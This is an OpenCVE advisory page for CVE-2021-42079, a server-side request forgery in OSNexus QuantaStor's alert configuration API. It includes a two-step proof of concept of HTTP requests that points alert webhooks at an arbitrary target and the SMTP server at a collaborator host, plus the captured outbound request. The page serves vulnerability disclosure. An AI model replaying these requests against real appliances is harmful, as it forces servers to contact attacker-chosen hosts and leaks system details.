CVE-2021-42079

  1. OpenCVE
  2. Vulnerabilities (CVE)
  3. CVE-2021-42079
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

6.2 /10

CVSS v3 : MEDIUM

V3 Legend

Vector :

Exploitability : 1.7 / Impact : 4.0

Attack Vector NETWORK

Attack Complexity LOW

Privileges Required HIGH

User Interaction REQUIRED

Confidentiality Impact HIGH

Integrity Impact NONE

Availability Impact NONE

Scope CHANGED

References
Link Resource
https://cisrt.divd.nl/DIVD-2021-00020/
https://csirt.divd.nl/CVE-2021-42079 Third Party Advisory
https://www.osnexus.com/products/software-defined-storage Product
https://www.wbsec.nl/osnexus Third Party Advisory
https://csirt.divd.nl/CVE-2021-42079 Third Party Advisory
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage Product
https://www.wbsec.nl/osnexus Third Party Advisory
Configurations

Configuration 1 (hide)

cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*
History

22 Sep 2025, 07:15

Type Values Removed Values Added
Summary (en) An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. (en) An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

21 Nov 2024, 06:27

Type Values Removed Values Added
CVSS v2 : unknown
v3 : 4.9 		v2 : unknown
v3 : 6.2
References
  • () https://www.divd.nl/DIVD-2021-00020 -
References () https://csirt.divd.nl/CVE-2021-42079 - Third Party Advisory () https://csirt.divd.nl/CVE-2021-42079 - Third Party Advisory
References () https://www.osnexus.com/products/software-defined-storage - Product () https://www.osnexus.com/products/software-defined-storage - Product
References () https://www.wbsec.nl/osnexus - Third Party Advisory () https://www.wbsec.nl/osnexus - Third Party Advisory

16 Oct 2024, 12:15

Type Values Removed Values Added
References
  • {'url': 'https://www.divd.nl/DIVD-2021-00020', 'tags': ['Broken Link'], 'source': 'csirt@divd.nl'}
  • () https://cisrt.divd.nl/DIVD-2021-00020/ -

14 Jul 2023, 18:13

Type Values Removed Values Added
CVSS v2 : unknown
v3 : unknown 		v2 : unknown
v3 : 4.9
References (MISC) https://www.osnexus.com/products/software-defined-storage - (MISC) https://www.osnexus.com/products/software-defined-storage - Product
References (MISC) https://www.divd.nl/DIVD-2021-00020 - (MISC) https://www.divd.nl/DIVD-2021-00020 - Broken Link
References (MISC) https://www.wbsec.nl/osnexus - (MISC) https://www.wbsec.nl/osnexus - Third Party Advisory
References (MISC) https://csirt.divd.nl/CVE-2021-42079 - (MISC) https://csirt.divd.nl/CVE-2021-42079 - Third Party Advisory
CWE CWE-918
CPE cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*

10 Jul 2023, 16:27

Type Values Removed Values Added
New CVE
Information

Published : 2023-07-10 16:15

Updated : 2025-09-22 07:15

NVD link : CVE-2021-42079

Mitre link : CVE-2021-42079

CVE.ORG link : CVE-2021-42079

JSON object : View

Products Affected

osnexus

  • quantastor
CWE
CWE-918

Server-Side Request Forgery (SSRF)